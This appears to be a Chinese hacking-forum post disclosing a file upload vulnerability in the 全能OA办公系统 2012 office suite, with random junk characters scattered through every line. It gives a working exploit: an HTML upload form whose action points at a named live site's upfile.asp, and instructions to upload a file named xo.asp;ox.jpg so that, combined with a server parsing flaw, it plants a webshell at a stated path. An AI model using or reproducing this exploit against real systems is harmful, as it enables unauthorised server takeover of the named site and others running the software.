全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
: t  g4 F: G) B2 ?: F3 Q- J​
系统介绍：

( w& P7 A7 U* `+ f全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
8 A1 _9 l3 P; Q) |$ Q- Z  n* ~- T9 A
' I4 t+ V: m" a* G" k2 O主要功能：
6 T7 O) a  E7 p: T/ M2 ^公司通告
) I$ ^8 `6 D* d- P$ @3 E& y' y工作计划
通讯助理
客户资源
我的公文
公文传阅
公共资源
资源预约
今日考勤
个人计划
个人通讯录
5 l0 W' d2 F5 r2 f" }& Y1 \; @4 ?个人基本档案
未读邮件
9 W; w# ?4 v! F/ P; r: ^% g发邮件
4 F+ R1 S! M! J' B4 G! ^收件夹
: Q7 D2 F4 v/ g" v1 E寄件夹
网络硬盘
网络会议
网络调查
交流论坛

. H* s& N  s" R  N9 Z有兴趣测试的朋友可以下源码看看

; B9 L6 e! H1 a3 H/ l源码下载：
" x6 [. F$ c2 D3 M
http://www.mycodes.net/30/4750.htm
$ n% K1 K! O, n) U1 P* B
漏洞介绍：

2 `7 H5 |& A- A8 `! B% i由upfile.asp上传文件漏洞引起
: q# R; v6 P4 u( d
2 ~. J# A0 b$ {+ a1 J1 k测试方法：

6 D5 t$ x' @5 d4 W. t使用名小子上传http://www.itlynn.com/upfile.asp即可

$ C# [: L; a7 b. a如果upfile.asp文件被删除不存在。

6 ^' h# o- Q& F8 B. U  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

9 J9 K( \, K" w# A如果存在那么将如下代码保存为upfile.html。
$ U) B5 N$ m/ v
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
  V2 _5 W6 x. _" x2 y9 k
6 \1 _6 h6 q6 I3 U" J

01 <table border='0' align="center" cellpadding="5">
& A" b6 }4 [4 V
3 V  V/ o1 X, ?' F/ T% y02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>

04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名
- M$ O6 l/ d+ ^
/ E: R/ ^( v% q07               <input type='radio' name='errnumber' value='1' checked>
* o% E8 X' j4 |; J, r
08               报错方式
1 o# V# z& T  ^6 E7 W
09               <input type='radio' name='errnumber' value='2'>
( |. W6 X/ v( |% m" z" G
10               直接覆盖</td>

" p4 d" I, ^1 s# l, S5 s& A11           </tr>

12           <tr>

13             <td>主题：</td>

14             <td><input type='text' name='filename' size='30'></td>
( e3 _4 x) b8 R+ R( o* M0 ^: P# O" X
' _; o4 T: A, R6 N' ^9 F  w: f15           </tr>

: w2 R7 ?; T+ Q16           <tr>

17             <td>文件：</td>
1 |+ K7 y0 J+ \+ a$ w- C& {
18             <td><input type="file"name="fruit"size="30"></td>

: j8 f4 v9 s# U' _: Q6 _19           </tr>

& d+ a' e: }6 L6 J: `20           <tr>
8 {" j; [0 z3 V9 j& g1 N
21             <td valign='top'>简介：</td>
7 _% k+ k* X6 D- l& ^5 h% @6 A
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
) [( i. j! e/ N) ?
23           </tr>

24   
9 k0 b! G( y9 o! S: ^" j1 ]
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

- p# b- A+ Y+ h$ P26           </tr>
: a, f/ n/ L7 m+ r% R2 t
4 [( ^# M/ O% C& a; m* F27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。

, ?1 g( K7 v; k7 Y( G0 T
) ]) ?" Q" g3 |3 U6 {" g) x; J
" z0 L) j( v, G9 V, d3 D3 k上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
/ c, B4 t* Y3 `% {2 |
2 A; E" }* ]9 f  Z0 o3 E, O8 t此漏洞需要配合解析漏洞利用。